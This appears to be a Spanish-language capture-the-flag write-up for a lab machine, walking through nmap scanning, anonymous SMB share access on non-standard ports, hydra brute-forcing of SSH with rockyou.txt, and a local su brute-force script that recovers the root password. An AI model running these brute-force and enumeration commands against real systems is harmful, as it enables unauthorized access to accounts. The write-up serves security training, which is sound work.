Enumeración de servicios
El escaneo completo descubre SSH, Webmin y dos servicios SMB en puertos no estándar (19000 y 19222). Este último detalle es importante: las herramientas SMB deben recibir el puerto explícitamente porque, de lo contrario, probarían sólo el 445 convencional:
❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.155
❯ nmap -sCV -p22,10000,19000,19222 -oN 02-targeted.txt 192.168.1.155
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-28 16:04 -04
Nmap scan report for 192.168.1.155
Host is up (0.00028s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
10000/tcp open http MiniServ 2.021 (Webmin httpd)
|_http-title: 200 — Document follows
19000/tcp open netbios-ssn Samba smbd 4.6.2
19222/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.94 secondsEnumeración de SMB
Consultamos SMB en 19000 sin proporcionar credenciales y comprobamos que el recurso Test permite acceso anónimo:
❯ smbclient -L //192.168.1.155// -p 19000
...
Sharename Type Comment
--------- ---- -------
Test Disk
...
❯ smbclient //192.168.1.155/test -p 19000
smb: \> ls
README.txt N 115 Sun Mar 26 16:06:46 2023
smb: \> get README.txtEl archivo README.txt no contiene una contraseña, pero sí revela el nombre Andrea. Lo tratamos como un posible usuario del sistema y reducimos así la fuerza bruta a una sola cuenta:
❯ cat README.txt
Hey Andrea listen to me, I'm going to take a break. I think I've setup this prototype for the SMB server correctlyAcceso inicial mediante SSH
Probamos el usuario andrea contra SSH con el diccionario rockyou.txt. Hydra encuentra awesome, lo que confirma password guessing exitoso contra una contraseña débil:
❯ hydra -l andrea -P ~/Documentos/wordlists/rockyou.txt 192.168.1.155 ssh -t 64
...
[22][ssh] host: 192.168.1.155 login: andrea password: awesome
...Las credenciales permiten iniciar sesión por SSH y recuperar la primera flag.
Escalada de privilegios mediante Weak Password
Para comprobar si root utiliza una contraseña débil, ejecutamos su-bruteforce desde la propia máquina. A diferencia del ataque a SSH, esta prueba invoca su localmente para cada candidato; los intervalos configurados reducen errores por exceso de intentos. No hay evidencia de que 1998 se reutilice en otro servicio, así que lo clasificamos como contraseña débil y no como Credential Reuse:
andrea@LAB-Bruteforce:/tmp$ ./suBF.sh -u root -t 0.7 -s 0.05
[+] Bruteforcing root...
You can login as root using password: 1998La herramienta identifica 1998. Nos autenticamos con su root y verificamos el cambio de identidad con id o whoami antes de leer la flag final. La cadena completa depende de dos contraseñas débiles: una expone la cuenta andrea por SSH y la segunda permite convertir ese acceso en una sesión de root.